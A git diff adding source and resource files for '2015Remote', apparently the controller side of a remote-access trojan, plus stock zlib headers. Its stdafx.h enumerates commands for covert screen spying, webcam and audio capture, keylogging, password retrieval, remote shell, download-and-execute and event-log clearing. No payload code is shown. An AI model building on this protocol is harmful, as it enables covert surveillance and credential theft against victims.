+#pragma once + +class iniFile +{ +public: + BOOL iniFile::ContructIniFile(); + int iniFile::GetInt(CString MainKey,CString SubKey); + BOOL iniFile::SetInt(CString MainKey,CString SubKey,int Data); + CString m_IniFilePath; + iniFile(void); + ~iniFile(void); +}; diff --git a/server/2015Remote/res/2015Remote.ico b/server/2015Remote/res/2015Remote.ico new file mode 100644 index 0000000..d56fbcd Binary files /dev/null and b/server/2015Remote/res/2015Remote.ico differ diff --git a/server/2015Remote/res/Bitmap/Online.bmp b/server/2015Remote/res/Bitmap/Online.bmp new file mode 100644 index 0000000..a16e281 Binary files /dev/null and b/server/2015Remote/res/Bitmap/Online.bmp differ diff --git a/server/2015Remote/res/Bitmap/ToolBar_File.bmp b/server/2015Remote/res/Bitmap/ToolBar_File.bmp new file mode 100644 index 0000000..913764b Binary files /dev/null and b/server/2015Remote/res/Bitmap/ToolBar_File.bmp differ diff --git a/server/2015Remote/res/Bitmap/ToolBar_Main.bmp b/server/2015Remote/res/Bitmap/ToolBar_Main.bmp new file mode 100644 index 0000000..bbede6d Binary files /dev/null and b/server/2015Remote/res/Bitmap/ToolBar_Main.bmp differ diff --git a/server/2015Remote/res/Bitmap/bmp00001.bmp b/server/2015Remote/res/Bitmap/bmp00001.bmp new file mode 100644 index 0000000..71bc623 Binary files /dev/null and b/server/2015Remote/res/Bitmap/bmp00001.bmp differ diff --git a/server/2015Remote/res/Bitmap/toolbar1.bmp b/server/2015Remote/res/Bitmap/toolbar1.bmp new file mode 100644 index 0000000..e30c197 Binary files /dev/null and b/server/2015Remote/res/Bitmap/toolbar1.bmp differ diff --git a/server/2015Remote/res/Cur/Drag.cur b/server/2015Remote/res/Cur/Drag.cur new file mode 100644 index 0000000..10c75c4 Binary files /dev/null and b/server/2015Remote/res/Cur/Drag.cur differ diff --git a/server/2015Remote/res/Cur/MutiDrag.cur b/server/2015Remote/res/Cur/MutiDrag.cur new file mode 100644 index 0000000..7cfd168 Binary files /dev/null and b/server/2015Remote/res/Cur/MutiDrag.cur differ diff --git a/server/2015Remote/res/My2015Remote.rc2 b/server/2015Remote/res/My2015Remote.rc2 new file mode 100644 index 0000000..7a2815c Binary files /dev/null and b/server/2015Remote/res/My2015Remote.rc2 differ diff --git a/server/2015Remote/res/audio.ico b/server/2015Remote/res/audio.ico new file mode 100644 index 0000000..27153fe Binary files /dev/null and b/server/2015Remote/res/audio.ico differ diff --git a/server/2015Remote/res/cmdshell.ico b/server/2015Remote/res/cmdshell.ico new file mode 100644 index 0000000..6b4e80a Binary files /dev/null and b/server/2015Remote/res/cmdshell.ico differ diff --git a/server/2015Remote/res/dword.ico b/server/2015Remote/res/dword.ico new file mode 100644 index 0000000..d739acb Binary files /dev/null and b/server/2015Remote/res/dword.ico differ diff --git a/server/2015Remote/res/file.ico b/server/2015Remote/res/file.ico new file mode 100644 index 0000000..23302b0 Binary files /dev/null and b/server/2015Remote/res/file.ico differ diff --git a/server/2015Remote/res/pc.ico b/server/2015Remote/res/pc.ico new file mode 100644 index 0000000..42d554e Binary files /dev/null and b/server/2015Remote/res/pc.ico differ diff --git a/server/2015Remote/res/string.ico b/server/2015Remote/res/string.ico new file mode 100644 index 0000000..d865af3 Binary files /dev/null and b/server/2015Remote/res/string.ico differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h new file mode 100644 index 0000000..2fec7ea Binary files /dev/null and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.cpp b/server/2015Remote/stdafx.cpp new file mode 100644 index 0000000..f1bcbf3 --- /dev/null +++ b/server/2015Remote/stdafx.cpp @@ -0,0 +1,8 @@ + +// stdafx.cpp : ֻ׼ļԴļ +// 2015Remote.pch ΪԤͷ +// stdafx.obj ԤϢ + +#include "stdafx.h" + + diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h new file mode 100644 index 0000000..066ff46 --- /dev/null +++ b/server/2015Remote/stdafx.h @@ -0,0 +1,222 @@ + +// stdafx.h : ׼ϵͳļİļ +// Ǿʹõĵ +// ضĿİļ + +#pragma once + +#ifndef _SECURE_ATL +#define _SECURE_ATL 1 +#endif + +#ifndef VC_EXTRALEAN +#define VC_EXTRALEAN // Windows ͷųʹõ +#endif + +// ڴй©谲װVLDעʹ +#include "vld.h" + +#include "targetver.h" + +#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ + +// ر MFC ijЩɷĺԵľϢ +#define _AFX_ALL_WARNINGS + +#include // MFC ͱ׼ +#include // MFC չ + + +#include // MFC Զ + + + +#ifndef _AFX_NO_OLE_SUPPORT +#include // MFC Internet Explorer 4 ؼ֧ +#endif +#ifndef _AFX_NO_AFXCMN_SUPPORT +#include // MFC Windows ؼ֧ +#endif // _AFX_NO_AFXCMN_SUPPORT + +#include // Ϳؼ MFC ֧ + + + + + +enum +{ + // ļ䷽ʽ + TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ + TRANSFER_MODE_ADDITION, // ׷ + TRANSFER_MODE_ADDITION_ALL, // ȫ׷ + TRANSFER_MODE_OVERWRITE, // + TRANSFER_MODE_OVERWRITE_ALL, // ȫ + TRANSFER_MODE_JUMP, // + TRANSFER_MODE_JUMP_ALL, // ȫ + TRANSFER_MODE_CANCEL, // ȡ + + // ƶ˷ + COMMAND_ACTIVED = 0x00, // ˿Լʼ + COMMAND_LIST_DRIVE, // гĿ¼ + COMMAND_LIST_FILES, // гĿ¼еļ + COMMAND_DOWN_FILES, // ļ + COMMAND_FILE_SIZE, // ϴʱļС + COMMAND_FILE_DATA, // ϴʱļ + COMMAND_EXCEPTION, // ䷢쳣Ҫ´ + COMMAND_CONTINUE, // + COMMAND_STOP, // ֹ + COMMAND_DELETE_FILE, // ɾļ + COMMAND_DELETE_DIRECTORY, // ɾĿ¼ + COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ + COMMAND_CREATE_FOLDER, // ļ + COMMAND_RENAME_FILE, // ļļ + COMMAND_OPEN_FILE_SHOW, // ʾļ + COMMAND_OPEN_FILE_HIDE, // شļ + + COMMAND_SCREEN_SPY, // Ļ鿴 + COMMAND_SCREEN_RESET, // ıĻ + COMMAND_ALGORITHM_RESET, // ı㷨 + COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del + COMMAND_SCREEN_CONTROL, // Ļ + COMMAND_SCREEN_BLOCK_INPUT, // ˼ + COMMAND_SCREEN_BLANK, // ˺ + COMMAND_SCREEN_CAPTURE_LAYER, // ׽ + COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ + COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ + + COMMAND_WEBCAM, // ͷ + COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ + COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ + COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ + COMMAND_NEXT, // һ(ƶѾ򿪶Ի) + + COMMAND_KEYBOARD, // ̼¼ + COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ + COMMAND_KEYBOARD_CLEAR, // ̼¼ + + COMMAND_AUDIO, // + + COMMAND_SYSTEM, // ϵͳ̣.... + COMMAND_PSLIST, // б + COMMAND_WSLIST, // б + COMMAND_DIALUPASS, // + COMMAND_KILLPROCESS, // رս + COMMAND_SHELL, // cmdshell + COMMAND_SESSION, // Ựػע, жأ + COMMAND_REMOVE, // жغ + COMMAND_DOWN_EXEC, // - ִ + COMMAND_UPDATE_SERVER, // - ظ + COMMAND_CLEAN_EVENT, // - ϵͳ־ + COMMAND_OPEN_URL_HIDE, // - شҳ + COMMAND_OPEN_URL_SHOW, // - ʾҳ + COMMAND_RENAME_REMARK, // ע + COMMAND_REPLAY_HEARTBEAT, // ظ + COMMAND_SERVICES, // + COMMAND_REGEDIT, + COMMAND_TALK, // ʱϢ֤ + + // ˷ıʶ + TOKEN_AUTH = 100, // Ҫ֤ + TOKEN_HEARTBEAT, // + TOKEN_LOGIN, // ߰ + TOKEN_DRIVE_LIST, // б + TOKEN_FILE_LIST, // ļб + TOKEN_FILE_SIZE, // ļСļʱ + TOKEN_FILE_DATA, // ļ + TOKEN_TRANSFER_FINISH, // + TOKEN_DELETE_FINISH, // ɾ + TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ + TOKEN_GET_FILEDATA, // Զ̵õļ + TOKEN_CREATEFOLDER_FINISH, // ļ + TOKEN_DATA_CONTINUE, // + TOKEN_RENAME_FINISH, // + TOKEN_EXCEPTION, // 쳣 + + TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO + TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ + TOKEN_NEXTSCREEN, // Ļ鿴һͼ + TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ + + + TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER + TOKEN_WEBCAM_DIB, // ͷͼ + + TOKEN_AUDIO_START, // ʼ + TOKEN_AUDIO_DATA, // + + TOKEN_KEYBOARD_START, // ̼¼ʼ + TOKEN_KEYBOARD_DATA, // ̼¼ + + TOKEN_PSLIST, // б + TOKEN_WSLIST, // б + TOKEN_DIALUPASS, // + TOKEN_SHELL_START, // Զն˿ʼ + TOKEN_SERVERLIST, // б + COMMAND_SERVICELIST, // ˢ·б + COMMAND_SERVICECONFIG, // ˷ıʶ + TOKEN_TALK_START, // ʱϢʼ + TOKEN_TALKCMPLT, // ʱϢط + TOKEN_REGEDIT = 200, // ע + COMMAND_REG_FIND, //ע ʶ + TOKEN_REG_KEY, + TOKEN_REG_PATH, + COMMAND_BYE +}; + + +#define WM_USERTOONLINELIST WM_USER + 3000 +#define WM_OPENSCREENSPYDIALOG WM_USER + 3001 +#define WM_OPENFILEMANAGERDIALOG WM_USER + 3002 +#define WM_OPENTALKDIALOG WM_USER+3003 +#define WM_OPENSHELLDIALOG WM_USER+3004 +#define WM_OPENSYSTEMDIALOG WM_USER+3005 +#define WM_OPENAUDIODIALOG WM_USER+3006 +#define WM_OPENSERVICESDIALOG WM_USER+3007 +#define WM_OPENREGISTERDIALOG WM_USER+3008 +#define WM_OPENWEBCAMDIALOG WM_USER+3009 + +#define WM_USEROFFLINEMSG WM_USER+3010 + +enum +{ + FILEMANAGER_DLG = 1, + SCREENSPY_DLG, + VIDEO_DLG, + AUDIO_DLG, + KEYBOARD_DLG, + SYSTEM_DLG, + SHELL_DLG, + SERVICES_DLG, + REGISTER_DLG, + TALK_DLG, + MONITOR_DLG +}; + + +#ifdef _UNICODE +#if defined _M_IX86 +#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"") +#elif defined _M_X64 +#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"") +#else +#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"") +#endif +#endif + + +#include +#include +#pragma comment(lib, "winmm.lib") + +// ߾ȵ˯ߺ +#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); } + +// ԲnCµȴT(nDz1000) +#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));} + +// CʱȴT(10ms) +#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); } + +// CʱȴT(1ms) +#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); } diff --git a/server/2015Remote/targetver.h b/server/2015Remote/targetver.h new file mode 100644 index 0000000..0afac5b --- /dev/null +++ b/server/2015Remote/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// SDKDDKVer.h ߰汾Ŀ Windows ƽ̨ + +// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h +// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h + +#include diff --git a/server/2015Remote/zconf.h b/server/2015Remote/zconf.h new file mode 100644 index 0000000..eb0ae2e --- /dev/null +++ b/server/2015Remote/zconf.h @@ -0,0 +1,279 @@ +/* zconf.h -- configuration of the zlib compression library + * Copyright (C) 1995-2002 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* @(#) $Id$ */ + +#ifndef _ZCONF_H +#define _ZCONF_H + +/* + * If you *really* need a unique prefix for all types and library functions, + * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. + */ +#ifdef Z_PREFIX +# define deflateInit_ z_deflateInit_ +# define deflate z_deflate +# define deflateEnd z_deflateEnd +# define inflateInit_ z_inflateInit_ +# define inflate z_inflate +# define inflateEnd z_inflateEnd +# define deflateInit2_ z_deflateInit2_ +# define deflateSetDictionary z_deflateSetDictionary +# define deflateCopy z_deflateCopy +# define deflateReset z_deflateReset +# define deflateParams z_deflateParams +# define inflateInit2_ z_inflateInit2_ +# define inflateSetDictionary z_inflateSetDictionary +# define inflateSync z_inflateSync +# define inflateSyncPoint z_inflateSyncPoint +# define inflateReset z_inflateReset +# define compress z_compress +# define compress2 z_compress2 +# define uncompress z_uncompress +# define adler32 z_adler32 +# define crc32 z_crc32 +# define get_crc_table z_get_crc_table + +# define Byte z_Byte +# define uInt z_uInt +# define uLong z_uLong +# define Bytef z_Bytef +# define charf z_charf +# define intf z_intf +# define uIntf z_uIntf +# define uLongf z_uLongf +# define voidpf z_voidpf +# define voidp z_voidp +#endif + +#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32) +# define WIN32 +#endif +#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386) +# ifndef __32BIT__ +# define __32BIT__ +# endif +#endif +#if defined(__MSDOS__) && !defined(MSDOS) +# define MSDOS +#endif + +/* + * Compile with -DMAXSEG_64K if the alloc function cannot allocate more + * than 64k bytes at a time (needed on systems with 16-bit int). + */ +#if defined(MSDOS) && !defined(__32BIT__) +# define MAXSEG_64K +#endif +#ifdef MSDOS +# define UNALIGNED_OK +#endif + +#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC) +# define STDC +#endif +#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__) +# ifndef STDC +# define STDC +# endif +#endif + +#ifndef STDC +# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ +# define const +# endif +#endif + +/* Some Mac compilers merge all .h files incorrectly: */ +#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__) +# define NO_DUMMY_DECL +#endif + +/* Old Borland C incorrectly complains about missing returns: */ +#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500) +# define NEED_DUMMY_RETURN +#endif + + +/* Maximum value for memLevel in deflateInit2 */ +#ifndef MAX_MEM_LEVEL +# ifdef MAXSEG_64K +# define MAX_MEM_LEVEL 8 +# else +# define MAX_MEM_LEVEL 9 +# endif +#endif + +/* Maximum value for windowBits in deflateInit2 and inflateInit2. + * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files + * created by gzip. (Files created by minigzip can still be extracted by + * gzip.) + */ +#ifndef MAX_WBITS +# define MAX_WBITS 15 /* 32K LZ77 window */ +#endif + +/* The memory requirements for deflate are (in bytes): + (1 << (windowBits+2)) + (1 << (memLevel+9)) + that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values) + plus a few kilobytes for small objects. For example, if you want to reduce + the default memory requirements from 256K to 128K, compile with + make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7" + Of course this will generally degrade compression (there's no free lunch). + + The memory requirements for inflate are (in bytes) 1 << windowBits + that is, 32K for windowBits=15 (default value) plus a few kilobytes + for small objects. +*/ + + /* Type declarations */ + +#ifndef OF /* function prototypes */ +# ifdef STDC +# define OF(args) args +# else +# define OF(args) () +# endif +#endif + +/* The following definitions for FAR are needed only for MSDOS mixed + * model programming (small or medium model with some far allocations). + * This was tested only with MSC; for other MSDOS compilers you may have + * to define NO_MEMCPY in zutil.h. If you don't need the mixed model, + * just define FAR to be empty. + */ +#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__) + /* MSC small or medium model */ +# define SMALL_MEDIUM +# ifdef _MSC_VER +# define FAR _far +# else +# define FAR far +# endif +#endif +#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__)) +# ifndef __32BIT__ +# define SMALL_MEDIUM +# define FAR _far +# endif +#endif + +/* Compile with -DZLIB_DLL for Windows DLL support */ +#if defined(ZLIB_DLL) +# if defined(_WINDOWS) || defined(WINDOWS) +# ifdef FAR +# undef FAR +# endif +# include +# define ZEXPORT WINAPI +# ifdef WIN32 +# define ZEXPORTVA WINAPIV +# else +# define ZEXPORTVA FAR _cdecl _export +# endif +# endif +# if defined (__BORLANDC__) +# if (__BORLANDC__ >= 0x0500) && defined (WIN32) +# include +# define ZEXPORT __declspec(dllexport) WINAPI +# define ZEXPORTRVA __declspec(dllexport) WINAPIV +# else +# if defined (_Windows) && defined (__DLL__) +# define ZEXPORT _export +# define ZEXPORTVA _export +# endif +# endif +# endif +#endif + +#if defined (__BEOS__) +# if defined (ZLIB_DLL) +# define ZEXTERN extern __declspec(dllexport) +# else +# define ZEXTERN extern __declspec(dllimport) +# endif +#endif + +#ifndef ZEXPORT +# define ZEXPORT +#endif +#ifndef ZEXPORTVA +# define ZEXPORTVA +#endif +#ifndef ZEXTERN +# define ZEXTERN extern +#endif + +#ifndef FAR +# define FAR +#endif + +#if !defined(MACOS) && !defined(TARGET_OS_MAC) +typedef unsigned char Byte; /* 8 bits */ +#endif +typedef unsigned int uInt; /* 16 bits or more */ +typedef unsigned long uLong; /* 32 bits or more */ + +#ifdef SMALL_MEDIUM + /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ +# define Bytef Byte FAR +#else + typedef Byte FAR Bytef; +#endif +typedef char FAR charf; +typedef int FAR intf; +typedef uInt FAR uIntf; +typedef uLong FAR uLongf; + +#ifdef STDC + typedef void FAR *voidpf; + typedef void *voidp; +#else + typedef Byte FAR *voidpf; + typedef Byte *voidp; +#endif + +#ifdef HAVE_UNISTD_H +# include /* for off_t */ +# include /* for SEEK_* and off_t */ +# define z_off_t off_t +#endif +#ifndef SEEK_SET +# define SEEK_SET 0 /* Seek from beginning of file. */ +# define SEEK_CUR 1 /* Seek from current position. */ +# define SEEK_END 2 /* Set file pointer to EOF plus "offset" */ +#endif +#ifndef z_off_t +# define z_off_t long +#endif + +/* MVS linker does not support external names larger than 8 bytes */ +#if defined(__MVS__) +# pragma map(deflateInit_,"DEIN") +# pragma map(deflateInit2_,"DEIN2") +# pragma map(deflateEnd,"DEEND") +# pragma map(inflateInit_,"ININ") +# pragma map(inflateInit2_,"ININ2") +# pragma map(inflateEnd,"INEND") +# pragma map(inflateSync,"INSY") +# pragma map(inflateSetDictionary,"INSEDI") +# pragma map(inflate_blocks,"INBL") +# pragma map(inflate_blocks_new,"INBLNE") +# pragma map(inflate_blocks_free,"INBLFR") +# pragma map(inflate_blocks_reset,"INBLRE") +# pragma map(inflate_codes_free,"INCOFR") +# pragma map(inflate_codes,"INCO") +# pragma map(inflate_fast,"INFA") +# pragma map(inflate_flush,"INFLU") +# pragma map(inflate_mask,"INMA") +# pragma map(inflate_set_dictionary,"INSEDI2") +# pragma map(inflate_copyright,"INCOPY") +# pragma map(inflate_trees_bits,"INTRBI") +# pragma map(inflate_trees_dynamic,"INTRDY") +# pragma map(inflate_trees_fixed,"INTRFI") +# pragma map(inflate_trees_free,"INTRFR") +#endif + +#endif /* _ZCONF_H */ diff --git a/server/2015Remote/zlib.h b/server/2015Remote/zlib.h new file mode 100644 index 0000000..52cb529 --- /dev/null +++ b/server/2015Remote/zlib.h @@ -0,0 +1,893 @@ +/* zlib.h -- interface of the 'zlib' general purpose compression library + version 1.1.4, March 11th, 2002 + + Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler + + This software is provided 'as-is', without any express or implied + warranty. In no event will the authors be held liable for any damages + arising from the use of this software. + + Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: + + 1. The origin of this software must not be misrepresented; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. + 2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. + 3. This notice may not be removed or altered from any source distribution. + + Jean-loup Gailly Mark Adler + jloup@gzip.org madler@alumni.caltech.edu + + + The data format used by the zlib library is described by RFCs (Request for + Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt + (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). +*/ + +#ifndef _ZLIB_H +#define _ZLIB_H + +#include "zconf.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define ZLIB_VERSION "1.1.4" + +/* + The 'zlib' compression library provides in-memory compression and + decompression functions, including integrity checks of the uncompressed + data. This version of the library supports only one compression method + (deflation) but other algorithms will be added later and will have the same + stream interface. + + Compression can be done in a single step if the buffers are large + enough (for example if an input file is mmap'ed), or can be done by + repeated calls of the compression function. In the latter case, the + application must provide more input and/or consume the output + (providing more output space) before each call. + + The library also supports reading and writing files in gzip (.gz) format + with an interface similar to that of stdio. + + The library does not install any signal handler. The decoder checks + the consistency of the compressed data, so the library should never + crash even in case of corrupted input. +*/ + +typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size)); +typedef void (*free_func) OF((voidpf opaque, voidpf address)); + +struct internal_state; + +typedef struct z_stream_s { + Bytef *next_in; /* next input byte */ + uInt avail_in; /* number of bytes available at next_in */ + uLong total_in; /* total nb of input bytes read so far */ + + Bytef *next_out; /* next output byte should be put there */ + uInt avail_out; /* remaining free space at next_out */ + uLong total_out; /* total nb of bytes output so far */ + + char *msg; /* last error message, NULL if no error */ + struct internal_state FAR *state; /* not visible by applications */ + + alloc_func zalloc; /* used to allocate the internal state */ + free_func zfree; /* used to free the internal state */ + voidpf opaque; /* private data object passed to zalloc and zfree */ + + int data_type; /* best guess about the data type: ascii or binary */ + uLong adler; /* adler32 value of the uncompressed data */ + uLong reserved; /* reserved for future use */ +} z_stream; + +typedef z_stream FAR *z_streamp; + +/* + The application must update next_in and avail_in when avail_in has + dropped to zero. It must update next_out and avail_out when avail_out + has dropped to zero. The application must initialize zalloc, zfree and + opaque before calling the init function. All other fields are set by the + compression library and must not be updated by the application. + + The opaque value provided by the application will be passed as the first + parameter for calls of zalloc and zfree. This can be useful for custom + memory management. The compression library attaches no meaning to the + opaque value. + + zalloc must return Z_NULL if there is not enough memory for the object. + If zlib is used in a multi-threaded application, zalloc and zfree must be + thread safe. + + On 16-bit systems, the functions zalloc and zfree must be able to allocate + exactly 65536 bytes, but will not be required to allocate more than this + if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS, + pointers returned by zalloc for objects of exactly 65536 bytes *must* + have their offset normalized to zero. The default allocation function + provided by this library ensures this (see zutil.c). To reduce memory + requirements and avoid any allocation of 64K objects, at the expense of + compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h). + + The fields total_in and total_out can be used for statistics or + progress reports. After compression, total_in holds the total size of + the uncompressed data and may be saved for use in the decompressor + (particularly if the decompressor wants to decompress everything in + a single step). +*/ + + /* constants */ + +#define Z_NO_FLUSH 0 +#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */ +#define Z_SYNC_FLUSH 2 +#define Z_FULL_FLUSH 3 +#define Z_FINISH 4 +/* Allowed flush values; see deflate() below for details */ + +#define Z_OK 0 +#define Z_STREAM_END 1 +#define Z_NEED_DICT 2 +#define Z_ERRNO (-1) +#define Z_STREAM_ERROR (-2) +#define Z_DATA_ERROR (-3) +#define Z_MEM_ERROR (-4) +#define Z_BUF_ERROR (-5) +#define Z_VERSION_ERROR (-6) +/* Return codes for the compression/decompression functions. Negative + * values are errors, positive values are used for special but normal events. + */ + +#define Z_NO_COMPRESSION 0 +#define Z_BEST_SPEED 1 +#define Z_BEST_COMPRESSION 9 +#define Z_DEFAULT_COMPRESSION (-1) +/* compression levels */ + +#define Z_FILTERED 1 +#define Z_HUFFMAN_ONLY 2 +#define Z_DEFAULT_STRATEGY 0 +/* compression strategy; see deflateInit2() below for details */ + +#define Z_BINARY 0 +#define Z_ASCII 1 +#define Z_UNKNOWN 2 +/* Possible values of the data_type field */ + +#define Z_DEFLATED 8 +/* The deflate compression method (the only one supported in this version) */ + +#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */ + +#define zlib_version zlibVersion() +/* for compatibility with versions < 1.0.2 */ + + /* basic functions */ + +ZEXTERN const char * ZEXPORT zlibVersion OF((void)); +/* The application can compare zlibVersion and ZLIB_VERSION for consistency. + If the first character differs, the library code actually used is + not compatible with the zlib.h header file used by the application. + This check is automatically made by deflateInit and inflateInit. + */ + +/* +ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level)); + + Initializes the internal stream state for compression. The fields + zalloc, zfree and opaque must be initialized before by the caller. + If zalloc and zfree are set to Z_NULL, deflateInit updates them to + use default allocation functions. + + The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9: + 1 gives best speed, 9 gives best compression, 0 gives no compression at + all (the input data is simply copied a block at a time). + Z_DEFAULT_COMPRESSION requests a default compromise between speed and + compression (currently equivalent to level 6). + + deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_STREAM_ERROR if level is not a valid compression level, + Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible + with the version assumed by the caller (ZLIB_VERSION). + msg is set to null if there is no error message. deflateInit does not + perform any compression: this will be done by deflate(). +*/ + + +ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush)); +/* + deflate compresses as much data as possible, and stops when the input + buffer becomes empty or the output buffer becomes full. It may introduce some + output latency (reading input without producing any output) except when + forced to flush. + + The detailed semantics are as follows. deflate performs one or both of the + following actions: + + - Compress more input starting at next_in and update next_in and avail_in + accordingly. If not all input can be processed (because there is not + enough room in the output buffer), next_in and avail_in are updated and + processing will resume at this point for the next call of deflate(). + + - Provide more output starting at next_out and update next_out and avail_out + accordingly. This action is forced if the parameter flush is non zero. + Forcing flush frequently degrades the compression ratio, so this parameter + should be set only when necessary (in interactive applications). + Some output may be provided even if flush is not set. + + Before the call of deflate(), the application should ensure that at least + one of the actions is possible, by providing more input and/or consuming + more output, and updating avail_in or avail_out accordingly; avail_out + should never be zero before the call. The application can consume the + compressed output when it wants, for example when the output buffer is full + (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK + and with zero avail_out, it must be called again after making room in the + output buffer because there might be more output pending. + + If the parameter flush is set to Z_SYNC_FLUSH, all pending output is + flushed to the output buffer and the output is aligned on a byte boundary, so + that the decompressor can get all input data available so far. (In particular + avail_in is zero after the call if enough output space has been provided + before the call.) Flushing may degrade compression for some compression + algorithms and so it should be used only when necessary. + + If flush is set to Z_FULL_FLUSH, all output is flushed as with + Z_SYNC_FLUSH, and the compression state is reset so that decompression can + restart from this point if previous compressed data has been damaged or if + random access is desired. Using Z_FULL_FLUSH too often can seriously degrade + the compression. + + If deflate returns with avail_out == 0, this function must be called again + with the same value of the flush parameter and more output space (updated + avail_out), until the flush is complete (deflate returns with non-zero + avail_out). + + If the parameter flush is set to Z_FINISH, pending input is processed, + pending output is flushed and deflate returns with Z_STREAM_END if there + was enough output space; if deflate returns with Z_OK, this function must be + called again with Z_FINISH and more output space (updated avail_out) but no + more input data, until it returns with Z_STREAM_END or an error. After + deflate has returned Z_STREAM_END, the only possible operations on the + stream are deflateReset or deflateEnd. + + Z_FINISH can be used immediately after deflateInit if all the compression + is to be done in a single step. In this case, avail_out must be at least + 0.1% larger than avail_in plus 12 bytes. If deflate does not return + Z_STREAM_END, then it must be called again as described above. + + deflate() sets strm->adler to the adler32 checksum of all input read + so far (that is, total_in bytes). + + deflate() may update data_type if it can make a good guess about + the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered + binary. This field is only for information purposes and does not affect + the compression algorithm in any manner. + + deflate() returns Z_OK if some progress has been made (more input + processed or more output produced), Z_STREAM_END if all input has been + consumed and all output has been produced (only when flush is set to + Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example + if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible + (for example avail_in or avail_out was zero). +*/ + + +ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm)); +/* + All dynamically allocated data structures for this stream are freed. + This function discards any unprocessed input and does not flush any + pending output. + + deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the + stream state was inconsistent, Z_DATA_ERROR if the stream was freed + prematurely (some input or output was discarded). In the error case, + msg may be set but then points to a static string (which must not be + deallocated). +*/ + + +/* +ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm)); + + Initializes the internal stream state for decompression. The fields + next_in, avail_in, zalloc, zfree and opaque must be initialized before by + the caller. If next_in is not Z_NULL and avail_in is large enough (the exact + value depends on the compression method), inflateInit determines the + compression method from the zlib header and allocates all data structures + accordingly; otherwise the allocation will be deferred to the first call of + inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to + use default allocation functions. + + inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_VERSION_ERROR if the zlib library version is incompatible with the + version assumed by the caller. msg is set to null if there is no error + message. inflateInit does not perform any decompression apart from reading + the zlib header if present: this will be done by inflate(). (So next_in and + avail_in may be modified, but next_out and 